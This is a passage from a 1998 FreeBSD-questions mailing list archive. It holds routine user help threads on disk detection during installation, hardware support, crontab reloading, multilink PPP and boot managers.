Since like I said in my last message it was reading the zip disk, I figured I would remove the zip disk and see what would happen. I did, and went to install FreeBSD. Right before the screen where it usually goes to fdisk, it instead said: "NO DISKS FOUND! Please verify that your disk conroller is being properly probed at boot time. See the Hardware Guide on the Documentation menu for clues in diagnosing this type of problem" Well, I did that. And I checked to see if there were any conflicts with anything called "disk controller" in the kernel config, and there aren't. Also, I saw in the doc that wdc# things have to do with disk controllers. So I watched the screen at boot up, and it says: wdc0 not found at 0x1f0 wdc1 at 0x170-0x177 irq 15 on isa I don't know what that means, but maybe it will help. Please tell me any suggestions so that it will read my hdd. Thank you..Jason Sabella --- Doug White wrote: > > On Fri, 3 Apr 1998, Jason Sabella wrote: > > > Hi Doug. I only have the one hard 6.4 GIG hard drive. I don't know > > what that "wd2" is. Is that possibly a wrong partition? Is there a way > > to change it to a different "wd" in the install program(if such a thing > > exists). My current configuration is this: > > You should be prompted before going into fdisk for which disk you want. > > Post your boot message output again. > > > But the installation program still says: > > Disk name: wd2 <<----- > > Disk Geometry: 512 cyls/12 heads/32 sectors = 196608 sectors > > Offset Size End Name Ptype Desc Subtype Flags > > 0 32 31 - 6 unused 0 > > 32 196192 196223 wd2s1 2 fat 6 = > > 196224 384 196607 - 6 unused 0 > > Hm, 196608 * 512 bytes == 100663296 bytes, or a 100mb drive. > > Doug White | University of Oregon > Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant > http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 07:31:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA25755 for freebsd-questions-outgoing; Sun, 5 Apr 1998 07:31:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pigstuy ([207.113.85.109]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA25750 for ; Sun, 5 Apr 1998 07:31:05 -0700 (PDT) (envelope-from spork@cncn.com) Received: from localhost (spork@localhost) by pigstuy (8.8.7/8.8.7) with SMTP id JAA00267; Sun, 5 Apr 1998 09:26:51 -0400 (EDT) (envelope-from spork@cncn.com) X-Authentication-Warning: pigstuy: spork owned process doing -bs Date: Sun, 5 Apr 1998 09:26:41 -0400 (EDT) From: Spike Gronim X-Sender: spork@pigstuy Reply-To: spork To: MrJeKKyL cc: freebsd-questions@FreeBSD.ORG Subject: Re: 3.0 Current Hardware Support In-Reply-To: <199804050403.UAA15178@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, MrJeKKyL wrote: > Hola, > > I was wondering if there is a 3.0 Current hardware list on the freebsd > website. I'm particularly curious about Intel Ether Express 10/100 Pro Pci > card, and whether its supported or not. Thanks for your time. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > It is supported. -Spike Gronim spork@cncn.com "Hacker, n: One who hacks real good" --Computer Contradictionary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 07:31:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA26041 for freebsd-questions-outgoing; Sun, 5 Apr 1998 07:31:33 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pigstuy ([207.113.85.109]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA25978 for ; Sun, 5 Apr 1998 07:31:27 -0700 (PDT) (envelope-from spork@cncn.com) Received: from localhost (spork@localhost) by pigstuy (8.8.7/8.8.7) with SMTP id JAA00283; Sun, 5 Apr 1998 09:29:08 -0400 (EDT) (envelope-from spork@cncn.com) X-Authentication-Warning: pigstuy: spork owned process doing -bs Date: Sun, 5 Apr 1998 09:28:52 -0400 (EDT) From: Spike Gronim X-Sender: spork@pigstuy Reply-To: spork To: Michael Wyman cc: freebsd-questions@FreeBSD.ORG Subject: Re: Multi-processor systems. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Michael Wyman wrote: > I have a Dual-P166 machine, and am looking into getting a Unix system (as > Win95 and NT are having problems). I wasn't able to find anything in the > FAQs about multi-processor systems... > > Does FreeBSD support dual processors, and if so, what kind of efficiency > does the second processor get? > > Thank you, > > * * * > Michael Wyman > http://umn.edu/~wyma0012 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > -current supports dual proccessors. Check out the SMP sections of www.freebsd.org. -Spike Gronim spork@cncn.com "Hacker, n: One who hacks real good" --Computer Contradictionary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 07:50:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA27303 for freebsd-questions-outgoing; Sun, 5 Apr 1998 07:50:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pigstuy ([207.113.85.109]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA27297 for ; Sun, 5 Apr 1998 07:50:53 -0700 (PDT) (envelope-from spork@cncn.com) Received: from localhost (spork@localhost) by pigstuy (8.8.7/8.8.7) with SMTP id JAA00336; Sun, 5 Apr 1998 09:48:46 -0400 (EDT) (envelope-from spork@cncn.com) X-Authentication-Warning: pigstuy: spork owned process doing -bs Date: Sun, 5 Apr 1998 09:48:30 -0400 (EDT) From: Spike Gronim X-Sender: spork@pigstuy Reply-To: spork To: "Joe \"Marcus\" Clarke" cc: FreeBSD User Questions List Subject: Re: Console screen shot In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Joe "Marcus" Clarke wrote: > Is there any way to get a screen shot of the console in full color mode? > > Joe Clarke > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > You can use xgrab/xgrabsc from the ports to grab screen shots in X, if that is what you want. -Spike Gronim spork@cncn.com "Hacker, n: One who hacks real good" --Computer Contradictionary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 08:13:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA29191 for freebsd-questions-outgoing; Sun, 5 Apr 1998 08:13:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bmkind.lnk.telstra.net (root@bmkind.lnk.telstra.net [139.130.51.118]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id IAA29186 for ; Sun, 5 Apr 1998 08:13:36 -0700 (PDT) (envelope-from root@bmkind.lnk.telstra.net) Received: (from root@localhost) by bmkind.lnk.telstra.net (8.6.12/8.6.9) id BAA00174; Mon, 6 Apr 1998 01:14:06 +1000 Date: Mon, 6 Apr 1998 01:14:05 +1000 (GMT+1000) From: Brendan Kosowski - System Administrator To: questions@FreeBSD.ORG Subject: FreeBSD Questions Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG 1. Does FreeBSD provide better performance than Linux when used on a P.C. that is configured as a GATEWAY ( with both ETHERNET & PPP interfaces ). I noticed that Linux's PPP performance drops when there is activity on the ETHERNET interface. Will changing to FreeBSD help ??? 2. Does FreeBSD support POCKET ETHERNET ADAPTERS such as the D-Link DE-620 ??? Thanks & Regards, Brendan... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 08:19:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA29873 for freebsd-questions-outgoing; Sun, 5 Apr 1998 08:19:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from flint.cyweb.com (root@cyweb.com [209.83.135.130]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA29839 for ; Sun, 5 Apr 1998 08:19:29 -0700 (PDT) (envelope-from harry@visiontm.com) Received: from hp.harry.com (dial-15.r04.scbuft.InfoAve.Net [206.74.202.215]) by flint.cyweb.com (8.8.0/8.6.9) with SMTP id KAA28080; Sun, 5 Apr 1998 10:28:59 -0500 From: "Harry Patterson" To: Cc: "freebsd-questions" Subject: Re: crontab problems Date: Sun, 5 Apr 1998 11:16:58 -0400 Message-ID: <01bd60a5$e09d08a0$f46190cf@hp.harry.com> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Steve, After reading your last post I removed the root crontab "crontab -u root -r", changed the daily time to a current time as a test, then killed the process (I used kill -1 115 (the process for cron)), and the messages stopped and the daily ran. I had read the line you list below in man 5 crontab concerning the system crontab. What is hidden well is that you don't have to do anything (ie. crontab crontab) to activate the system crontab. I assume it is automatically checked every minute. This is where my problems began by performing a root level crontab crontab thinking this is the way to update the system crontab. Did I miss something in the man pages that explains how the system crontab is loaded and am I correct that the procedure is to edit /etc/crontab and restart the cron daemon? Sincerely, Harry Patterson >kill -HUP the cron daemon to get it to reread /etc/crontab. > >Well, it's kind of well hidden (i.e., amazingly poorly worded) in man >5 crontab: > > The format of a cron command is very much the V7 standard, > with a number of upward-compatible extensions. Each line has > five time and date fields, followed by a user name (with > optional ``:'' and ``/'' suffixes) if > this is the system crontab file, followed by a command. >"Harry Patterson" writes: > >> I've read and re-read the man pages and can't find the distinction between >> root's crontab and /etc/crontab (user level differences are obvious with the >> user field removed) . I assumed that the only way to change the "system" >> crontab was to edit it as root and perform a "crontab crontab" as root. Is >> there a different way? How does the system crontab take effect and how do >> you change it? > >kill -HUP the cron daemon to get it to reread /etc/crontab. > >Well, it's kind of well hidden (i.e., amazingly poorly worded) in man >5 crontab: > > The format of a cron command is very much the V7 standard, > with a number of upward-compatible extensions. Each line has > five time and date fields, followed by a user name (with > optional ``:'' and ``/'' suffixes) if > this is the system crontab file, followed by a command. > >-- > >Steve Farrell > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 08:30:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA01227 for freebsd-questions-outgoing; Sun, 5 Apr 1998 08:30:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA01215 for ; Sun, 5 Apr 1998 08:30:16 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id KAA00255; Sun, 5 Apr 1998 10:30:11 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id KAA23411; Sun, 5 Apr 1998 10:30:09 -0500 (CDT) To: "Harry Patterson" Cc: "freebsd-questions" Subject: Re: crontab problems References: <01bd60a5$e09d08a0$f46190cf@hp.harry.com> From: sfarrell+list@farrell.org Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 05 Apr 1998 10:30:09 -0500 In-Reply-To: "Harry Patterson"'s message of "Sun, 5 Apr 1998 11:16:58 -0400" Message-ID: <87wwd42sn2.fsf@phaedrus.uchicago.edu> Lines: 21 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Harry Patterson" writes: > I had read the line you list below in man 5 crontab concerning the > system crontab. What is hidden well is that you don't have to do > anything (ie. crontab crontab) to activate the system crontab. [1] > I assume it is automatically checked every minute. This is where my > problems began by performing a root level crontab crontab thinking > this is the way to update the system crontab. Did I miss something > in the man pages that explains how the system crontab is loaded and > am I correct that the procedure is to [2] edit /etc/crontab and > restart the cron daemon? I've numbered two of your statements as [1] and [2]. They appear to contradict each other (or else I don't understand what you're saying). I believe that [2] is the actual behavior... I don't see it in the docs, so I suppose experimentation is the only way to find out... -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 09:12:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA03977 for freebsd-questions-outgoing; Sun, 5 Apr 1998 09:12:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cplkagan.globaleyes.net (cplkagan.GlobalEyes.net [209.60.64.59]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA03970 for ; Sun, 5 Apr 1998 09:12:06 -0700 (PDT) (envelope-from parrothd@midwest.net) Received: from parrothd.houselan.net (parrothd [10.10.0.10]) by cplkagan.globaleyes.net (8.8.7/8.8.5) with SMTP id LAA03922; Sun, 5 Apr 1998 11:11:51 -0500 (CDT) Message-Id: <3.0.5.32.19980405112044.007ec100@midwest.net> X-Sender: parrothd@midwest.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sun, 05 Apr 1998 11:20:44 -0500 To: Vlad Sitko , freebsd-questions@FreeBSD.ORG From: "Jonathan E. Lyons" Subject: Re: 1 Q. In-Reply-To: <3345FA81.8842D46A@ambernet.kiev.ua> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG check mpd in /usr/ports/net/mpd Later At 10:08 AM 4/5/97 +0300, Vlad Sitko wrote: >If I've got 2 modem line can I create one chanel 2x speed? > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > The beer is too cold, the daiquiris too fruitful, there's no place like home! Jimmy Buffett "The weather is here, Wish you were beautiful" Jon Lyons parrothd@midwest.net 87 HONDA VFR700 http://cplkagan.dyn.ml.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 09:34:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA07480 for freebsd-questions-outgoing; Sun, 5 Apr 1998 09:34:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from kevin.isadora.org (81.209.17.178.arpa.broadband.net [209.17.178.81] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA07463 for ; Sun, 5 Apr 1998 09:33:55 -0700 (PDT) (envelope-from kevin_eliuk@sunshine.net) Received: from localhost (cagey@localhost) by kevin.isadora.org (8.8.8/8.8.8) with SMTP id IAA01888; Sun, 5 Apr 1998 08:55:22 -0700 (PDT) (envelope-from cagey@kevin.isadora.org) Date: Sun, 5 Apr 1998 08:55:17 -0700 (PDT) From: "Kevin G. Eliuk" Reply-To: "Kevin G. Eliuk" To: Vlad Sitko cc: freebsd-questions@FreeBSD.ORG Subject: Re: 1 Q. In-Reply-To: <3345FA81.8842D46A@ambernet.kiev.ua> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 5 Apr 1997, Vlad Sitko wrote: => If I've got 2 modem line can I create one chanel 2x speed? => => To Unsubscribe: send mail to majordomo@FreeBSD.org => with "unsubscribe freebsd-questions" in the body of the message Take a look at /usr/ports/net/mpd, it may suit your needs. -- Regards and Best Wishes, | Way too many Bill-Boards on Kevin G. Eliuk | the information highway. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 09:42:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA09883 for freebsd-questions-outgoing; Sun, 5 Apr 1998 09:42:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from relay2.force9.net (root@relay2.force9.net [195.166.128.25]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA09874 for ; Sun, 5 Apr 1998 09:42:31 -0700 (PDT) (envelope-from aaron@aaronfcsi.force9.co.uk) Received: from aaronfcsi (28.usr02.wor.dialup.force9.net [195.166.131.92] (may be forged)) by relay2.force9.net (8.8.7/8.8.5) with SMTP id SAA30334 for ; Sun, 5 Apr 1998 18:36:23 +0200 Received: by aaronfcsi (VPOP3 - Unregistered) with SMTP; Sun, 5 Apr 1998 17:44:53 +0100 Received: by g-force.freelance with Microsoft Mailid <01BD60B9.831D6580@g-force.freelance>; Sun, 5 Apr 1998 17:37:32 +0100 Message-ID: <01BD60B9.831D6580@g-force.freelance> From: Aaron Johnson To: "'freebsd-questions@freebsd.org'" Subject: RedHAT 5 or Free BSD Date: Sun, 5 Apr 1998 17:37:30 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Server: VPOP3 V1.2.0 Unregistered Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am currently using RedHAT v3 and I am looking to move to another OS. Please e-mail me with reasons why I should buy freebsd rather than RedHAT 5. Sensible reasons please not.(cos it's better) aaron@aaronfcsi.force9.co.uk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 09:45:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA10591 for freebsd-questions-outgoing; Sun, 5 Apr 1998 09:45:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail2.panix.com (mail2.panix.com [198.7.0.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA10582 for ; Sun, 5 Apr 1998 09:45:05 -0700 (PDT) (envelope-from rhindla@panix.com) Received: from d300.panix.com (rhindla.dialup.access.net [166.84.212.222]) by mail2.panix.com (8.8.8/8.8.8/PanixM1.3) with SMTP id MAA10930 for ; Sun, 5 Apr 1998 12:45:02 -0400 (EDT) Reply-To: "Bob Hindla" From: "Bob Hindla" To: Subject: FreeBSD & SystemCommander Date: Sun, 5 Apr 1998 12:44:21 -0400 Message-ID: <01bd60b2$1587abe0$ded454a6@d300.panix.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Could you tell me which versions of system commander FreeBSD is compatible with? I have 2.2, should I upgrade to 3.0? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 09:45:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA10788 for freebsd-questions-outgoing; Sun, 5 Apr 1998 09:45:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from srv01.bigwheel.net (doug@srv01.bigwheel.net [208.197.88.101]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA10457 for ; Sun, 5 Apr 1998 09:44:19 -0700 (PDT) (envelope-from doug@srv01.bigwheel.net) Received: (from doug@localhost) by srv01.bigwheel.net (8.8.5/8.8.5) id JAA09948; Sun, 5 Apr 1998 09:44:07 -0700 (PDT) Date: Sun, 5 Apr 1998 09:44:07 -0700 (PDT) Message-Id: <199804051644.JAA09948@srv01.bigwheel.net> To: questions@FreeBSD.ORG From: Doug Jolley Subject: mail Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG When reading mail with mail(1) is there any way I can opt to pipe a given message to a program? I thought that was a fairly standard feature; but, I don't see it referenced in the man page. Needless to say, I am having some mail problems here; and, as a result, I have been forced to temporarily unsubscribe to the list. Accordingly, if a copy of any responses could be directed to my address, I'd appreciate it. Thanks for any input. ... doug _____________________________________________________________________ Doug Jolley mailto://doug@bigwheel.net http://www.bigwheel.net Don't bogart that file, my friend. Net it over to me. --------------------------------------------------------------------- _ALTO To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 09:54:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA11917 for freebsd-questions-outgoing; Sun, 5 Apr 1998 09:54:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA11909 for ; Sun, 5 Apr 1998 09:54:34 -0700 (PDT) (envelope-from jrs@Venus.mcs.net) Received: from Venus.mcs.net (jrs@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id LAA17016; Sun, 5 Apr 1998 11:54:29 -0500 (CDT) Received: from localhost (jrs@localhost) by Venus.mcs.net (8.8.7/8.8.2) with SMTP id LAA16393; Sun, 5 Apr 1998 11:54:28 -0500 (CDT) Date: Sun, 5 Apr 1998 11:54:28 -0500 (CDT) From: "J.R.S. II" To: Bob Hindla cc: freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD & SystemCommander In-Reply-To: <01bd60b2$1587abe0$ded454a6@d300.panix.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Could you tell me which versions of system commander FreeBSD is compatible > with? I have 2.2, should I upgrade to 3.0? 3.0 worked well for me but beware of the boot loader. A friend had a problem!! JOHN ********************************* * Elocin Solutions * * Providing Tomorrows * * Solutions Today * * Johnathan Raymond Sconiers II * * jrs@elocin.com * ********************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 10:00:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA12634 for freebsd-questions-outgoing; Sun, 5 Apr 1998 10:00:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from flint.cyweb.com (root@cyweb.com [209.83.135.130]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA12625 for ; Sun, 5 Apr 1998 10:00:36 -0700 (PDT) (envelope-from harry@visiontm.com) Received: from hp.harry.com (dial-15.r04.scbuft.InfoAve.Net [206.74.202.215]) by flint.cyweb.com (8.8.0/8.6.9) with SMTP id MAA28697; Sun, 5 Apr 1998 12:10:04 -0500 From: "Harry Patterson" To: Cc: "freebsd-questions" Subject: Re: crontab problems Date: Sun, 5 Apr 1998 12:57:41 -0400 Message-ID: <01bd60b3$f22a1aa0$f46190cf@hp.harry.com> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Steve, Thanks for your help. The system crontab is working fine with no error messages. Not to beat a dead horse but what I wanted to clarify for any others that are reading these is: For the system crontab (using your numbering): [1] DO NOT crontab crontab from root to activate the system crontab. This will only activate a crontab for the root user not the system crontab. [2] edit /etc/crontab and restart the cron process (ie. kill -1 PID). /etc/crontab is the system crontab and loads when cron is started. If I'm wrong please correct me, otherwise thanks again. Sincerely, Harry Patterson Steve Farrell wrote: >I've numbered two of your statements as [1] and [2]. They appear to >contradict each other (or else I don't understand what you're saying). >I believe that [2] is the actual behavior... I don't see it in the >docs, so I suppose experimentation is the only way to find out... >> I had read the line you list below in man 5 crontab concerning the >> system crontab. What is hidden well is that you don't have to do >> anything (ie. crontab crontab) to activate the system crontab. [1] >> I assume it is automatically checked every minute. This is where my >> problems began by performing a root level crontab crontab thinking >> this is the way to update the system crontab. Did I miss something >> in the man pages that explains how the system crontab is loaded and >> am I correct that the procedure is to [2] edit /etc/crontab and >> restart the cron daemon? > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 10:36:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA15303 for freebsd-questions-outgoing; Sun, 5 Apr 1998 10:36:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from germanium.xtalwind.net (germanium.xtalwind.net [205.160.242.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA15297 for ; Sun, 5 Apr 1998 10:36:20 -0700 (PDT) (envelope-from jack@germanium.xtalwind.net) Received: from localhost (jack@localhost) by germanium.xtalwind.net (8.9.0.Beta3/8.9.0.Beta3) with SMTP id NAA01577; Sun, 5 Apr 1998 13:36:04 -0400 (EDT) Date: Sun, 5 Apr 1998 13:36:04 -0400 (EDT) From: jack To: Harry Patterson cc: sfarrell+list@farrell.org, freebsd-questions Subject: Re: crontab problems In-Reply-To: <01bd60b3$f22a1aa0$f46190cf@hp.harry.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Harry Patterson wrote: > For the system crontab (using your numbering): > > [1] DO NOT crontab crontab from root to activate the system crontab. This > will only activate a crontab for the root user not the system crontab. > > [2] edit /etc/crontab and restart the cron process (ie. kill -1 PID). > /etc/crontab is the system crontab and loads when cron is started. > > If I'm wrong please correct me, otherwise thanks again. RTFM :) From cron(8): Additionally, cron checks each minute to see if its spool directory's modtime (or the modtime on /etc/crontab) has changed, and if it has, cron will then examine the modtime on all crontabs and reload those which have changed. Thus cron need not be restarted whenever a crontab file is modified. ^^^^ ^^^^^^^^^^^^^^^^ SEE ALSO crontab(1), crontab(5) -------------------------------------------------------------------------- Jack O'Neill Systems Administrator / Systems Analyst jack@germanium.xtalwind.net Crystal Wind Communications, Inc. Finger jack@germanium.xtalwind.net for my PGP key. PGP Key fingerprint = F6 C4 E6 D4 2F 15 A7 67 FD 09 E9 3C 5F CC EB CD enriched, vcard, HTML messages > /dev/null -------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 10:44:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA16038 for freebsd-questions-outgoing; Sun, 5 Apr 1998 10:44:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bartman.ic.sunysb.edu (bartman.ic.sunysb.edu [129.49.12.170]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA16029 for ; Sun, 5 Apr 1998 10:44:01 -0700 (PDT) (envelope-from jsabella@ic.sunysb.edu) Received: from ic.sunysb.edu (as5-7.dialup.sunysb.edu [129.49.81.63]) by bartman.ic.sunysb.edu (8.8.7/8.8.3) with ESMTP id NAA07710; Sun, 5 Apr 1998 13:43:52 -0400 (EDT) Message-ID: <3527C2CB.B1CA883B@ic.sunysb.edu> Date: Sun, 05 Apr 1998 13:43:39 -0400 From: Jason Sabella X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: Neil Ludban , freebsd-questions@FreeBSD.ORG Subject: Re: New information... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Neil. I have the Gateway 2000 G6266 with the 6.4GIG hdd and the Promise Ultra DMA like you had said. I'm not sure if you saw some older messages of mine, but I'm trying to install it onto the empty 2.1 GIGS at the end of the disk(The first 2.1 GIGS is for DOS's C partition and the middle 2.1 GIGS is for DOS's D partition). But anyways, FreeBSD can't read the controller. When I go to install FreeBSD from the CD-ROM, I run install.bat, which executes the line: fbsdboot.exe -D kernel You had said to add the -current parameter, but it doesn't recognize such a parameter. Is this where you wanted me to type it in or is it somewhere else? Any help will be greatly appreciated. Thank you, Jason Sabella --- Neil Ludban wrote: > > This looks like the exact same setup we've got on some 